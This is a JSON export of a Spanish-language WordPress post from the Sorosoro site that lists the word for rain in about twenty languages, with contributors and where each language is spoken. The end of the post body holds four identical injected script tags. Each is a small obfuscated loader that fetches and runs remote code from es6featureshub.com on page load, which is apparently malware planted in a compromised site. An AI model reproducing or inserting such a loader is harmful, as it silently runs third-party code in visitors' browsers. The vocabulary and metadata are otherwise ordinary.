{"id":70536,"date":"2017-03-31T11:09:07","date_gmt":"2017-03-31T09:09:07","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=70536\/"},"modified":"2025-10-21T21:52:13","modified_gmt":"2025-10-21T19:52:13","slug":"lluvia","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2017\/03\/lluvia\/","title":{"rendered":"Lluvia"},"content":{"rendered":"<p><strong>En \u00e1rabe<\/strong>, por Khadidja : <span style=\"color: #ff6600;\">\u0645\u0637\u0631 (mtr\/matar\/matr)<\/span><\/p>\n<p>\u00c1rabe se habla en muchos pa\u00edses, en particular en el Norte de \u00c1frica y Oriente Medio.<\/p>\n<p><strong>En arapaj\u00f3<\/strong>,\u00a0por Fran\u00e7ois-R\u00e9gis Rolland : <span style=\"color: #ff6600;\">hoosoot<\/span><\/p>\n<p>Este idioma se habla en los Estados Unidos, en los estados de Wyoming (reserva de Wind River) y en Oklahoma.<\/p>\n<p>Precision : Esta palabra es un sustantivo, pero la forma verbal \u00abhonoos\u00f3\u00f3\u00bb (\u00abest\u00e1 lloviendo\u00bb) se usa m\u00e1s a menudo<\/p>\n<p><strong>En bassa o basa\u00e1<\/strong>, por Jer\u00f4me Ndjock : <span style=\"color: #ff6600;\">n\u00f4b<\/span><\/p>\n<p>Se habla esta lengua en Camer\u00fan.<\/p>\n<p><strong>En breton<\/strong>, por Anne y Anna : <span style=\"color: #ff6600;\">glav<\/span><\/p>\n<p>Se pronuncia tambien \u00abglao\u00bb<\/p>\n<p><strong>En catal\u00e0<\/strong>, por Isac Nunes : <span style=\"color: #ff6600;\">pluja<\/span><\/p>\n<p>Se habla esta lengua en Catalu\u00f1a.<\/p>\n<p><strong>En c\u00f3rnico (o cornuall\u00e9s)<\/strong>, por Anna : <span style=\"color: #ff6600;\">glaw<\/span><\/p>\n<p>Se habla esta lengua el condado brit\u00e1nico de Cornualles.<\/p>\n<p><strong>En esperanto<\/strong>, por Riera : <span style=\"color: #ff6600;\">pluvo<\/span><\/p>\n<p><strong>En franc\u00e9s<\/strong>, por Simon : <span style=\"color: #ff6600;\">pluie<\/span><\/p>\n<p><strong>En fula (pulaar, fulfulde)<\/strong>, por \u00a0Oumar Mounirou Deme\u00a0 : <span style=\"color: #ff6600;\">to\u0253o<\/span><\/p>\n<p>Este idioma se habla en Benin, Burkina Faso, Camer\u00fan, Rep\u00fablica Centroafricana, Costa de Marfil, Gambia, Ghana, Guinea, Guinea Bissau, Liberia, Mal\u00ed, Mauritania, N\u00edger, Nigeria, Senegal, Sierra Leona, Sud\u00e1n, Chad y Togo.<\/p>\n<p><strong>En gal\u00e9s<\/strong>, por Joseph Biddulph : <span style=\"color: #ff6600;\">glaw<\/span><\/p>\n<p>El idioma gal\u00e9s se habla en el Pa\u00eds de Gales.<\/p>\n<p><strong>En criollo haitiano o kreyol<\/strong>, por Silvio : <span style=\"color: #ff6600;\">lapli<\/span><\/p>\n<p>Se hable esta lengua en Hait\u00ed.<\/p>\n<p><strong>En ingl\u00e9s<\/strong>, por Simon : <span style=\"color: #ff6600;\">rain<\/span><\/p>\n<p><strong>En japon\u00e9s<\/strong>, porr Lionel Crooson :\u00a0<span style=\"color: #ff6600;\"> \u96e8 (ame)<br \/>\n<\/span><\/p>\n<p>Este idioma se habla en Jap\u00f3n.<\/p>\n<p><strong>En lingala<\/strong>, por Oyandza y Ang\u00e8le Bongongo : <span style=\"color: #ff6600;\">mbula o mvoul<\/span><\/p>\n<p><span id=\"result_box\" class=\"\" lang=\"es\">Esta lengua se habla en <span class=\"\">la Rep\u00fablica<\/span> Democr\u00e1tica del Congo y Congo &#8211; Brazzaville.<\/span><\/p>\n<p><strong>En otom\u00ed o h\u00f1\u00e4h\u00f1u<\/strong>, por Raymundo Isidro Alavez : <span style=\"color: #ff6600;\">y&#8217;e<\/span><\/p>\n<p>Se habla esta lengua en Mexico, en los estados de Hidalgo, Quer\u00e9taro, Veracruz Puebla , el estado de M\u00e9xico, Guanjuato, CDMX, Guanajuato, Tlaxcala.<\/p>\n<p><strong>En papiamentu o papiamento<\/strong>, por Kathy Taylor : <span style=\"color: #ff6600;\">awa ta kai<\/span><\/p>\n<p>Se habla esta lengua en las Antillas Neerlandesas, en las islas de Aruba, Bonaire y Curazao.<\/p>\n<p>Precisi\u00f3n : \u00abawaseru\u00bb (lluvia fuerte).<\/p>\n<p><strong>En poitevin-santong\u00e9s (parlanjhe)<\/strong>, por Simon : <span style=\"color: #ff6600;\">plle\u00f9e<\/span><\/p>\n<p>Esta lengua se habla en el oeste de Francia entre el r\u00edo Loira y el estuario de Gironda.<\/p>\n<p><strong>En portugu\u00e9s<\/strong>, por Isac Nunes : <span style=\"color: #ff6600;\">chuva<\/span><\/p>\n<p>Este lengua se habla en Portugal, Angola, Mozambique, Cabo Verde, Brasil y Santo Tom\u00e9 y Pr\u00edncipe.<\/p>\n<p><strong>En tamasheq (touareg)<\/strong>, por Brahim : <span style=\"color: #ff6600;\">ag&#8217;na (aguina)<\/span><\/p>\n<p>Se hable esta lengua en Algeria, Mal\u00ed, N\u00edger, Burkina Faso y Libia.<\/p>\n<p><strong>En turco<\/strong>, por Izzet Inal : <span style=\"color: #ff6600;\">ya\u011fmur (n) ; ya\u011fmak (v)<br \/>\n<\/span><\/p>\n<p>Se habla esta lengua en Turqu\u00eda.<\/p>\n<p><strong>En vietnamita<\/strong>, por Tran : <span style=\"color: #ff6600;\">m\u01b0a<br \/>\n<\/span><\/p>\n<p>Se hable esta lengua en Vietnam.<\/p>\n<p>&nbsp;<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>En \u00e1rabe, por Khadidja : \u0645\u0637\u0631 (mtr\/matar\/matr) \u00c1rabe se habla en muchos pa\u00edses, en particular en el Norte de \u00c1frica y Oriente Medio. En arapaj\u00f3,\u00a0por Fran\u00e7ois-R\u00e9gis Rolland : hoosoot Este idioma se habla en los Estados Unidos, en los estados de Wyoming (reserva de Wind River) y en Oklahoma. Precision : Esta palabra es un [&hellip;]<\/p>\n","protected":false},"author":23,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[16],"tags":[],"class_list":["post-70536","post","type-post","status-publish","format-standard","hentry","category-la-palabra-del-mes"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Lluvia - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2017\/03\/lluvia\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Lluvia - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"En \u00e1rabe, por Khadidja : \u0645\u0637\u0631 (mtr\/matar\/matr) \u00c1rabe se habla en muchos pa\u00edses, en particular en el Norte de \u00c1frica y Oriente Medio. En arapaj\u00f3,\u00a0por Fran\u00e7ois-R\u00e9gis Rolland : hoosoot Este idioma se habla en los Estados Unidos, en los estados de Wyoming (reserva de Wind River) y en Oklahoma. Precision : Esta palabra es un [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2017\/03\/lluvia\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2017-03-31T09:09:07+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T19:52:13+00:00\" \/>\n<meta name=\"author\" content=\"Simon Couturier\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Simon Couturier\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2017\/03\/lluvia\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2017\/03\/lluvia\/\"},\"author\":{\"name\":\"Simon Couturier\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3\"},\"headline\":\"Lluvia\",\"datePublished\":\"2017-03-31T09:09:07+00:00\",\"dateModified\":\"2025-10-21T19:52:13+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2017\/03\/lluvia\/\"},\"wordCount\":438,\"articleSection\":[\"El abecedario de Sorosoro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2017\/03\/lluvia\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2017\/03\/lluvia\/\",\"name\":\"Lluvia - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2017-03-31T09:09:07+00:00\",\"dateModified\":\"2025-10-21T19:52:13+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2017\/03\/lluvia\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2017\/03\/lluvia\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2017\/03\/lluvia\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Lluvia\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3\",\"name\":\"Simon Couturier\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/simon-couturier\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Lluvia - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2017\/03\/lluvia\/","og_locale":"es_ES","og_type":"article","og_title":"Lluvia - Sorosoro","og_description":"En \u00e1rabe, por Khadidja : \u0645\u0637\u0631 (mtr\/matar\/matr) \u00c1rabe se habla en muchos pa\u00edses, en particular en el Norte de \u00c1frica y Oriente Medio. En arapaj\u00f3,\u00a0por Fran\u00e7ois-R\u00e9gis Rolland : hoosoot Este idioma se habla en los Estados Unidos, en los estados de Wyoming (reserva de Wind River) y en Oklahoma. Precision : Esta palabra es un [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2017\/03\/lluvia\/","og_site_name":"Sorosoro","article_published_time":"2017-03-31T09:09:07+00:00","article_modified_time":"2025-10-21T19:52:13+00:00","author":"Simon Couturier","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Simon Couturier","Tiempo de lectura":"2 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2017\/03\/lluvia\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2017\/03\/lluvia\/"},"author":{"name":"Simon Couturier","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3"},"headline":"Lluvia","datePublished":"2017-03-31T09:09:07+00:00","dateModified":"2025-10-21T19:52:13+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2017\/03\/lluvia\/"},"wordCount":438,"articleSection":["El abecedario de Sorosoro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2017\/03\/lluvia\/","url":"https:\/\/www.sorosoro.org\/es\/2017\/03\/lluvia\/","name":"Lluvia - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2017-03-31T09:09:07+00:00","dateModified":"2025-10-21T19:52:13+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2017\/03\/lluvia\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2017\/03\/lluvia\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2017\/03\/lluvia\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"Lluvia"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/c97446a63dfa10cef0caaf1e7cc312a3","name":"Simon Couturier","url":"https:\/\/www.sorosoro.org\/es\/author\/simon-couturier\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/70536","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/23"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=70536"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/70536\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=70536"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=70536"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=70536"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}